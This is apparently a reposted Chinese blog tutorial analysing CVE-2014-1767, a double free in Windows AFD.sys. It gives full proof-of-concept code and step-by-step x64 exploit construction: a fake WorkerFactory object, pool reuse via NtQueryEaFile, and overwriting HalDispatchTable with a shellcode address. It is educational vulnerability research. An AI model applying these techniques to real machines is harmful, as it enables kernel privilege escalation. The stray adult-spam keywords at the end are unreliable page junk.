<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Windows本地提權漏洞CVE-2014-1767分析及EXP編寫指導

    VSole2022-03-15 16:37:07

    簡介

    1.1 寫作目的

    這是我的第四篇CVE文章,相比前面三篇,我認為這篇文章研究的CVE漏洞,是最難,同時也是最值得學習的一個提權漏洞。盡管之前的漏洞也很優秀,但這個漏洞我認為是優秀者中的佼佼者。

    我們要自己去構造內存數據,而且要精確到字節,要了解一些系統的機制,還要知道各種函數的反匯編用法,因此EXP里面的每一個數據都有其特定的含義,并非隨意而為,難度自然更大。我想這對提高我們的PWN水平有幫助,所以我寫下了這篇文章。

    本文側重于介紹內存構造的思路,最后給出了調試結果。

    1.2 概述

    在2014年的Pwn2Own黑客大賽上,Siberas安全團隊利用CVE-2014-1767 Windows AFD.sys 雙重釋放漏洞進行內核提權,以此繞過windows8.1 平臺上的IE11沙箱,隨后該漏洞因此獲得2014年黑客奧斯卡的“最佳提權漏洞獎”。

    后來,Siberas團隊在其官網公布了此漏洞的詳細細節及利用方法,它是AFD.sys驅動上的一處雙重釋放漏洞,通殺Wdinwos系統,影響較大。

    1.3 非常重要的說明

    針對這個漏洞我要說明的有以下幾點:

    ① 本文側重點在POC、EXP編寫,從逆向與調試的角度引領你分析、編寫POC、EXP;

    ② 本文是首篇針對該漏洞在x64平臺下的分析、編寫文章;

    ③ 全網最詳細POC、EXP的編寫說明;

    ④ EXP完全復用POC的代碼;

    ⑤ 上傳的EXP是我自己編寫的。

    實驗環境為:win7_x64_sp1(7601)版本

    POC分析

    2.1 POC代碼

    ULONG CalcLength(){    int BaseLength = 0x10000;    unsigned __int16 VirtualAddress = 0x13371337;    int FinalLength = 0x0;    while (1)    {        FinalLength = ((BaseLength & 0xFFF) + ((unsigned __int16)VirtualAddress & 0xFFF) + 0xFFF) >> 0xC;        FinalLength = 8 * (FinalLength + (BaseLength>>0xC))+ 0x30;            if (FinalLength == 0x100)            {                break;            }            else            {                BaseLength += 1;                continue;            }    }    return BaseLength;} int main(){    int nBottonRect = 0x2aaaaaa;    while (true)    {        HRGN hrgn = CreateRoundRectRgn(0, 0, 1, nBottonRect, 1, 1);        if (hrgn==NULL)        {            break;        }        printf("hrgn = %p", hrgn);    }     //這兒看IoAllocateMdl(ntoskrnl)    DWORD length = CalcLength();    printf("Length = %x", length);    DWORD virtualAddress = 0x13371337;     static BYTE inbuf1[0x40];    memset(inbuf1, 0, sizeof(inbuf1));    *(ULONG_PTR*)(inbuf1 + 0x20) = virtualAddress;    *(ULONG*)(inbuf1 + 0x28) = length;            *(ULONG*)(inbuf1 + 0x3c) = 1;                  static BYTE inbuf2[0x18];    memset(inbuf2, 0, sizeof(inbuf2));    *(ULONG*)(inbuf2) = 1;    *(ULONG*)(inbuf2 + 0x8) = 0x0AAAAAAA;          WSADATA         WSAData;    SOCKET         s;    sockaddr_in  sa;    int             ierr;    WSAStartup(0x2, &WSAData);    s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);    memset(&sa, 0, sizeof(sa));    sa.sin_port = htons(135);    sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");    sa.sin_family = AF_INET;    ierr = connect(s, (const struct sockaddr*)&sa, sizeof(sa));    DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x40, NULL, 0, NULL, NULL);    DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x18, NULL, 0, NULL, NULL);}
    

    2.2 POC運行結果

    運行上面POC代碼,系統出現藍屏后的windbg調試結果見上圖(上圖并不是原始輸出,我把一些不重要的數據刪除了)。從第一個紅框可以看出:

    ① 這是一個雙重釋放漏洞;

    ② 雙重釋放的代碼在afd!AfdReturnTpinfo+0xe7。

    我們先來看看afd!AfdReturnTpinfo+0xe7,是什么代碼:

    可見,在afd!AfdReturnTpinfo+0xe1處,是IoFreeMdl函數,它是用來釋放Mdl指針的。那么,釋放完之后,有沒有對指針進行清零處理?我們來看看反編譯代碼:

    根據上面分析可知,IoFreeMdl肯定被執行了兩次,那么,在后面我們進行分析時,可以在此處下斷點,看這塊內存是怎么變化的。現在,我們來看看,程序為什么會調用IoFreeMdl兩次。

    2.3 漏洞產生的根本原因

    漏洞是因為連續兩次釋放內存,由afd!AfdReturnTpinfo調用。

    第一次是因為調用

    DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x40, NULL, 0, NULL, NULL);

    時,afd!afdTransmitFile+0x2CD調用MmProbeAndLockPages函數判斷的地址,是POC里面指定的0x13371337這個非法地址,所以會出現異常,如下圖所示:

    第二次調用:

    DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x18, NULL, 0, NULL, NULL);

    因為POC里面指定的內存空間是0x0AAAAAAA*0x18,在afd!afdTransmitPackets中調用afd!AfdTliGetTpInfo,執行ExAllocatePoolwithQutaTag時失敗后,會跳到AfdReturnTpinfo函數執行,如下圖:

    兩次進入異常處理函數,都會調用IoFreeMdl函數,從而導致指針雙重釋放。

    x64平臺POC編寫指導

    3.1 第一階段:消耗系統內存

    int nBottonRect = 0x2aaaaaa;while (true){    HRGN hrgn = CreateRoundRectRgn(0, 0, 1, nBottonRect, 1, 1);    if (hrgn==NULL)    {        break;    }    printf("hrgn = %p", hrgn);    }
    

    通過CreateRoundRectRgn函數消耗內存。至于為什么要消耗內存,可以先看2.3節,我在后面會做更詳細說明。

    3.2 第二階段:構造Inbuff1

    3.2.1 Inbuff1的輸入長度構造

    POC里面有個函數CalcLength,它是用于計算輸入長度,用來控制分配內存空間大小的。現在,我們需要內存固定分配0x100字節大小的空間,至于為什么,我在后面說明,現在你只用知道,我們需要構造一個0x100大小的內存空間。

    在afd!AfdTransmitFile中,nt!IoAllocateMdl函數第二個參數length就是我們輸入的參數,通過這個參數,就可以控制內存大小,見下圖:

    現在,我們需要看看IoAllocateMdl是如何分配內存空間的,反編譯nt!IoAllocateMdl,可得:

    我們的CalcLength函數,就是為了輸入Length,得到一個固定的內存0x100。基本思路是:

    ① 初始Length從0x10000開始;

    ② ViRtualAddress是非法地址0x13371337;

    通過while(1)循環,查找使得分配內存為0x100的length,具體實現見代碼。

    代碼實現為:

    ULONG CalcLength(){int BaseLength = 0x10000;unsigned __int16 VirtualAddress = 0x13371337;int FinalLength = 0x0;while (1){   FinalLength = ((BaseLength & 0xFFF) + ((unsigned   __int16)VirtualAddress & 0xFFF) + 0xFFF) >> 0xC;   FinalLength = 8 * (FinalLength + (BaseLength>>0xC))+ 0x30;   if (FinalLength == 0x100)   {    break;   }    else   {    BaseLength += 1;    continue;    }   }   return BaseLength;}
    

    3.2.2 Inbuff1的參數構造

    afd!afdTransmitFile和afd!afdTransmitPackets兩個函數的函數原型分別是:

    __fastcall AfdTransmitFile(PIRP  pIRP, PIO_STACK_LOCATION pIoStackLocation)__fastcall AfdTransmitPackets(PIRP pIrp, PIO_STACK_LOCATION pIoStackLocation)
    

    第二個形參的定義為:

    kd> dt _io_stack_locationntdll!_IO_STACK_LOCATION   +0x000 MajorFunction    : UChar   +0x001 MinorFunction    : UChar   +0x002 Flags            : UChar   +0x003 Control          : UChar   +0x008 Parameters       : //struct{//  +0x008     ULONG OutputBufferLength;//  +0x010       POINTER_ALIGNMENT InputBufferLength;//  +0x018     POINTER_ALIGNMENT IoControlCode;//  +0x020     Type3InputBuffer//}   +0x028 DeviceObject     : Ptr64 _DEVICE_OBJECT   +0x030 FileObject       : Ptr64 _FILE_OBJECT   +0x038 CompletionRoutine : Ptr64     long   +0x040 Context          : Ptr64 Void
    

    最重要的就是偏移0x20的Type3InputBuffer了,這就是我們傳入的inbuff1數據。但有個問題,在我們調用這個函數之前,傳入的inbuff1已經在棧里面了,現在參數的應用都類似這樣:

    rsp+8c、rsp+78、rsp+70等等,我們就無法知道這些參數在inbuff1的位置。

    但幸好,我們可以根據IoAlloctedMdll函數,很方便的定位length和VirtualAddress。因為IoAlloctedMdll的第一個形參、第二個形參是分別是地址、長度,這是已知的,那么我們就可以先定位length,再定位其他參數。

    反編譯afd!AfdTransmitFile,分析后,如下圖:

    由上圖可知:

    ① 因為第104行的判斷,所以inbuff1的長度至少為0x40;

    ② 先讓inbuff1有規律的等于一個值,輸入之后,斷點看length的數值,就可以知道length在buff1的位置,又知道length在rsp+0x78,現在VirtualAddress在rsp+0x70,那么,length偏移0x28,VirtualAdress就偏移0x20。

    ③ 第112行可知,v8由v45得來,v45在rsp+8C位置,也就是inbuff1的0x3C位置,v8等于1的時候,可以不進入112行的if判斷,從而執行正常流程。

    所以有:

    static BYTE inbuf1[0x40];memset(inbuf1, 0, sizeof(inbuf1));*(ULONG_PTR*)(inbuf1 + 0x20) = virtualAddress;*(ULONG*)(inbuf1 + 0x28) = length;       *(ULONG*)(inbuf1 + 0x3c) = 1;
    

    3.3 第三階段:構造Inbuff2

    inbuff2是通過AfdTransmitPackets函數處理的,所以反編譯AfdTransmitPackets函數之后分析,如下圖:

    從上圖可知:

    ① 第103行表明,輸入的inbuff2長度至少為0x18字節,所以我們定義的就是0x18字節;

    ② 由第114行可知,v7就是我們的inbuff2;

    ③ 由125行可知,inbuff2的第0個字節等于1,就不會進入if;

    ④ 由136行可知,輸入的v52是分配系數,分配的大小是0x18輸入長度,現在分配的長度是0xaaaaaaa018字節,而我們在第一階段就已經把內存消耗完,這里執行只會失敗。

    綜上,可得:

    static BYTE inbuf2[0x18];

    memset(inbuf2, 0, sizeof(inbuf2));

    (ULONG)(inbuf2) = 1;

    (ULONG)(inbuf2 + 0x8) = 0x0AAAAAAA;

    3.4 觸發漏洞

    最后,觸發漏洞函數為:

    DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x40, NULL, 0, NULL, NULL);DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x18, NULL, 0, NULL, NULL);
    

    控制碼為0x1207F的DeviceIoControl 函數執行之后,會因為地址異常執行nt!IoFreeMdl,釋放一次指針;控制碼為0x120C3的DeviceIoControl 函數執行之后,又會因為異常執行nt!IoFreeMdl,再釋放一次指針,從而觸發漏洞。

    x64平臺EXP編寫指導

    4.1 基本思路

    調用控制碼為0x1207F的函數觸發異常釋放pool后,創建一個對象占用這個釋放的pool,然后再調用控制碼為0x120C3的函數,觸發異常后再次釋放這個pool,最后再把這個pool的數據賦值成假數據,但指向這個pool的指針,我們已經能夠控制了,具體分析如下。

    第一步:構造FakeWorkerFactory

    先來看看構造的代碼:

    const DWORD FakeObjSize = 0x100;    static BYTE FakeWorkerFactory[FakeObjSize];    memset(FakeWorkerFactory, 0, FakeObjSize);     static BYTE ObjHead[0x50] =    {    0x00,0x00,0x00,0x00,0x08,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,    0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x16,0x00,0x08,0x00,0x00,0x00,0x00,0x00,    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,    };    memcpy(FakeWorkerFactory, ObjHead, 0x50);    static BYTE a[0x18+0x4+0x4] =    {        0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, //18個        0x00,0x00,0x00,0x00,   //*(_QWORD *)Object + 0x18        0x00,0x00,0x00,0x00       };    PVOID *pFakeObj = (PVOID*)((ULONG_PTR)FakeWorkerFactory + 0x50);    *pFakeObj = a;    printf("object a : = %p", a);    printf("pFakeObj = %p", pFakeObj);
    

    至于為什么這樣寫,從4.1.1節開始說明。

    4.1.1 windbg確認WorkFactory的大小

    WorkerFactory占用空間的大小我們跟蹤這條鏈:

    NtCreateWorkerFactory->ObpCreateObject->ObpAllocateObject-> ExAllocatePoolWithTag。

    但是ObpCreateObject和ObpAllocateObject很多地方都有調用,如果這個時候一步一步通過函數執行過去,很麻煩,而且很容易出錯,你會得到錯誤的大小。調式的時候,可以這樣做:

    A、首先打兩個斷點:

    4: kd> bl

    0 e Disable Clear fffff8000438c8fa 0001 (0001) nt!ObpAllocateObject+0x12a "r rdx;gc" 1 e Disable Clear fffff80004374b08 0001 (0001) nt!NtCreateWorkerFactory

    B、然后運行exp,程序會斷在第1個點的NtCreateWorkerFactory。

    C、然后繼續g,

    1: kd> g

    rdx=0000000000000100

    rdx=00000000000004f8

    rdx=0000000000000068

    rdx=00000000000000a8

    rdx=00000000000000a8

    rdx=0000000000000068

    rdx=00000000000000a8

    第一個rdx就是自己申請的workfactory的大小0x100了。

    這就是為什么我們在3.1.1要費盡心思構造pool為0x100的原因。

    4.1.2 windbg確認WorkFactory的內存數據

    你的實驗平臺如果跟我一樣,下面的斷點,你可以直接用:

    kd> bl     0 d Enable Clear  fffff800`01faab08     0001 (0001) nt!NtCreateWorkerFactory     1 d Enable Clear  fffff800`01cb56d0     0001 (0001) nt!NtSetInformationWorkerFactory ".if(rdx==8){r rdx;r r9}.else{gc;}"     2 d Enable Clear  fffff800`01cb5879     0001 (0001) nt!NtSetInformationWorkerFactory+0x1a6     3 d Enable Clear  fffff800`01fc28fa     0001 (0001) nt!ObpAllocateObject+0x12a(這兒是NtCreateWorkerFactory的nt!ExAllocatePoolWithTag,看pool)     4 d Enable Clear  fffff800`01faacc9     0001 (0001) nt!NtCreateWorkerFactory+0x1c1(這兒是createobject的下一句,看object)
    

    首先,使能第3個和第4個斷點,在windbg里面斷下:可以看到:

    由上圖,可以得到:

    ① object在workerfactory起始地址的偏移量。object在workerfactory起始地址偏移0x50處,0xfffffa8031092560是起始地址,0xfffffa8031092550是pool的header;

    ② 把objectHead的數據拷貝出來,作為我們構造EXP時的Fakeworkerfactory的數據;

    然后,使能第1個斷點和第2個斷點,繼續運行,得到:

    從上圖,可以得到:

    ① NtSetInformationWorkerFactory中object的pool是從ObReferenceObjectByHandleWithTag中得到的;

    ② 再分析NtCreateWorkerFactory可知,在NtCreateWorkerFactory時創建的pool數據,在NtSetInformationWorkerFactory時已經被覆蓋掉了。

    數據是怎么被覆蓋的?用的是4.1.3介紹的nt!NtQueryEaFile函數。

    4.1.3 覆蓋WorkFacroty內存數據

    現在有個問題,我們構造的WorkFactory數據是在應用層,那么如何把數據拷貝到之前釋放的pool處呢?直接拷貝當然是不行的,畢竟,我們并不知道pool的地址。這個時候就可以調用一個關鍵的函數實現這個目的。這個函數就是NtQueryEaFile函數。

    先來看看NtQueryEaFile函數的聲明:

    NTSTATUS __stdcall NtQueryEaFile(HANDLE FileHandle,PIO_STATUS_BLOCK IoStatusBlock,PVOID Buffer, ULONG Length,BOOLEAN ReturnSingleEntry,PVOID EaList, ULONG EaListLength, PULONG EaIndex, BOOLEAN RestartScan)
    

    我們調用的代碼為:

    fpQueryEaFile(INVALID_HANDLE_VALUE, &IoStatus, NULL, 0, FALSE, FakeWorkerFactory, FakeObjSize , NULL, FALSE);
    

    EaList --->FakeWorkerFactory

    EaIndex---> FakeObjSize

    再來看看fpQueryEaFile的反匯編代碼。

    執行這個函數之后,偽造的數據就被拷貝到了之前釋放的pool處,然后根據相應的函數操作WorkFactory的內存,就可以實現任意地址寫和讀了。

    但是這里有一個關鍵點,就是在函數的最后,它會釋放內存,如下圖:

    這就意味著,我們操縱的,仍然是一個已經釋放的內存,所以需要注意調試的速度。如果pool被再次替換受控和釋放,我們的讀取和寫操作將失敗,結果將是錯誤檢查。所以讀取和寫入必須在每次之后立即完成。

    這很關鍵,請牢牢記住。

    4.2、第二步:任意寫實現

    任意地址寫,是通過SetInformationWorkerFactory函數實現的,原理如下圖:

    在第175行,傳入handle,通過ObReferenceObjectByHandleWithTag函數索引,就可以得到object,這個object就是我們代碼里面的變量a。在NtSetInformationWorkFactory函數里面,任意寫是這行代碼:

    *(_DWORD *)(*(_QWORD *)(*(_QWORD *)Object + 0x18i64) + 0x2Ci64) = v64;
    

    而我們在執行選擇NtSetInformationWorkerFactory時,選擇的是WorkerFactoryAdjustThreadGoal(0x8),等于8,會直接運行到NtSetInformationWorkerFactory的655行,然后會執行任意地址寫。也就是說,如果我們需要在目標地址kHalDsipatchTableQueryAddr寫入shellcode地址,那么,就需要讓

    *(_DWORD *)(*(_QWORD *)(*(_QWORD *)Object + 0x18i64) + 0x2Ci64)  = shellcode地址高四位*(_DWORD *)(*(_QWORD *)(*(_QWORD *)Object + 0x18i64) + 0x2Ci64)  = shellcode地址低四位
    

    這就意味著:

    (_QWORD )((_QWORD )Object + 0x18i64) + 0x2Ci64等于kHalDsipatchTable地址,那么,當系統調用該函數賦值的時候,就會把shellcode地址高四位或低四位寫入HalDsipatchTable。所以,寫入shellcode地址時,需要把高四位和第四位分開寫:

    *(_QWORD *)(*(_QWORD *)Object + 0x18i64) = kHalDsipatchTable – 0x2C (低4位)*(_QWORD *)(*(_QWORD *)Object + 0x18i64) = kHalDsipatchTable – 0x2C + 4 (高4位)
    

    正好對應我們的代碼:

    *(PVOID*)(a + 0x18) = (PVOID)(kHalDsipatchTableQueryAddr - 0x2C);*(PVOID*)(a + 0x18) = (PVOID)(kHalDsipatchTableQueryAddr - 0x2C + 0x04);
    

    構造完畢之后,就可以把shellcode的地址寫入了,EXP代碼如下:

    static ULONG_PTR ShotAddress = (ULONG_PTR)ShellCode;  DWORD what_write2 = ShotAddress >> 32 & 0xffffffff;  DWORD what_write1 = ShotAddress & 0xffffffff; fpSetInformationWorkerFactory(hWorkerFactory, WorkerFactoryAdjustThreadGoal, &what_write1, 0x4);fpSetInformationWorkerFactory(hWorkerFactory, WorkerFactoryAdjustThreadGoal, &what_write2, 0x4);上面fpSetInformationWorkerFactory函數第二個形參和第4個形參的選擇分別是WorkerFactoryAdjustThreadGoal(0x8)、0x4,原因如下:
    

    4.3 第三步:任意讀實現

    任意地址讀,是通過NtQueryInformationWorkerFactory函數實現的,原理如下圖:

    由上圖可知:

    ① 輸入的內存長度必須是0x78;

    ② 選擇的讀取地址是(QWORD*)object+0x10;

    ③ 第二個參數必須等于7,也就是要等于WorkerFactoryBasicInformation。

    現在我們來看第81行代碼,是這樣寫的:

    Src[11] = *(_QWORD *)(v14[0x10] + 0x180i64);
    

    所以在構造object的時候,目標地址需要減去0x180,寫為:

    *(ULONG_PTR*)(pFakeObj + 0x10) = (ULONG_PTR)kHalDsipatchTable + sizeof(PVOID) - 0x180 ;//然后構造fpQueryInformationWorkerFactory為:static BYTE kernelRetMem[0x78];memset(kernelRetMem, 0, sizeof(kernelRetMem));fpQueryInformationWorkerFactory(hWorkerFactory,    WorkerFactoryBasicInformation,(0x7)    kernelRetMem,    0x78,    NULL);kfpHaliQuerySystemInformation = *(PVOID*)(kernelRetMem + 8 * 0xB);
    

    調試數據

    斷點選擇在pool申請和釋放的地方,斷點為:

    0 e Disable Clear  fffff880`05161581 e 1 0001 (0001) afd!AfdReturnTpInfo+0xe11 e Disable Clear  fffff800`0432dfe1 e 1 0001 (0001) nt!NtQueryEaFile+0x171
    

    第一次執行IoFreeMdl前的目標內存,見下圖:

    第一次執行IoFreeMdl后和第二次執行IoFreeMdl前的目標內存見下圖:

    第二次執行IoFreeMdl后的目標內存見下圖:

    NtQueryEaFile函數拷貝內存時的目標內存,見下圖:

    緩解措施

    在AfdReturnTpInfo中,把TpInfoElementCount清零了,如果Count等于0的時候,就不進行釋放操作。見下圖:

    提權結果

    代碼

    CVE-2014-1767的EXP代碼鏈接(https://github.com/ExploitCN/CVE-2014-1767-EXP-PAPER)

    這個鏈接有兩個文件,一個是C版本的,一個是python版本的,其中C版本的是EXP,python版本的是POC。

    我沒有上傳C版本的POC,因為把EXP中創建WorkerFactory代碼刪除,就直接可以得到POC代碼了。

    漏洞函數調用
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    前言接觸iot也快有一年的時間了,一年來也挖掘了大大小小幾十個洞,雖然能有些產出但是卻逐漸對人工審計感到無趣
    使用AFL++復現歷史CVE
    2022-08-12 17:36:45
    安裝調試目標從github等途徑下載并解壓。從網上找現成的樣本sample。
    OPC UA協議是工業控制領域中的一種十分流行的通訊協議。漏洞分析該漏洞存在于OPC UA .NET Standard Server Stack代碼庫中。根據官方漏洞公告,遠程攻擊者可通過發送惡意的請求來耗盡服務器所有可用內存。同時設置該channel的各種消息處理回調函數。并調用Attach函數將該TcpServerChannel與Client socket進行關聯。圖 12、DoReadComplete讀取Messsage消息過程OnMessageReceive函數最終是通過HandleInComingMessage來具體處客戶端請求消息內容。
    漏洞評級:高危影響版本:Django 3.2、Django 3.1安全版本:Django >= 3.2.5、Django >= 3.1.13漏洞分析2.1 order_by()order_by是QuerySet下的一種查詢方法,作用是將查詢的結果根據某個字段進行排序,在字段前面加一個符號,結果會倒序輸出。
    CVE-2021-24086漏洞分析
    2022-07-19 16:41:30
    漏洞信息2021年,Microsoft發布了一個安全補丁程序,修復了一個拒絕服務漏洞,編號為CVE-2021-24086,該漏洞影響每個Windows版本的IPv6堆棧,此問題是由于IPv6分片處理不當引起的。
    SMB協議可在互聯網的TCP/IP協議或者互聯網數據包交換和NetBEUI等協議之上使用。使用SMB協議,應用程序可訪問遠程服務器的文件以及打印機、信槽和命名管道等資源。RemoveLegacyFolder就是采用思路2來移除經典路徑..\的,向前搜索的過程存在風險,并且對其邊界檢查無效,從而導致了緩沖區溢出的產生。
    在所有函數調用發生時,向棧幀內壓入一個額外的隨機 DWORD,隨機數標注為“SecurityCookie”。在函數返回之前,系統將執行一個額外的安全驗證操作,被稱做 Security check。
    在學習漏洞的時候,按照0Day2書中第24章第1節的內容進行學習的,這章本來是遠程拒絕服務的漏洞(CVE-2009-3103),但是當我在網上搜索這個漏洞的EXP時,意外的發現了Srv2.sys模塊中的另一個漏洞(CVE-2009-2532),而這個漏洞竟然可以實現遠程任意代碼執行,誒,這我就不困了,然后順手兩個漏洞一起分析了,把Srv2.sys模塊對數據包的接收處理過程逆向了一遍,了解了其中的漏
    【最新漏洞預警】CVE-2021-42321-天府杯Exchange 反序列化漏洞分析
    漏洞說明`Rocket.Chat`是一個開源的完全可定制的通信平臺,由`Javascript`開發,適用于具有高標準數據保護的組織。2021年3月19日,某高危漏洞在`HackerOne`被披露,并于2021年4月14日被官方修復,根據CVE信息,該漏洞可以實現特定條件遠程命令執行。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类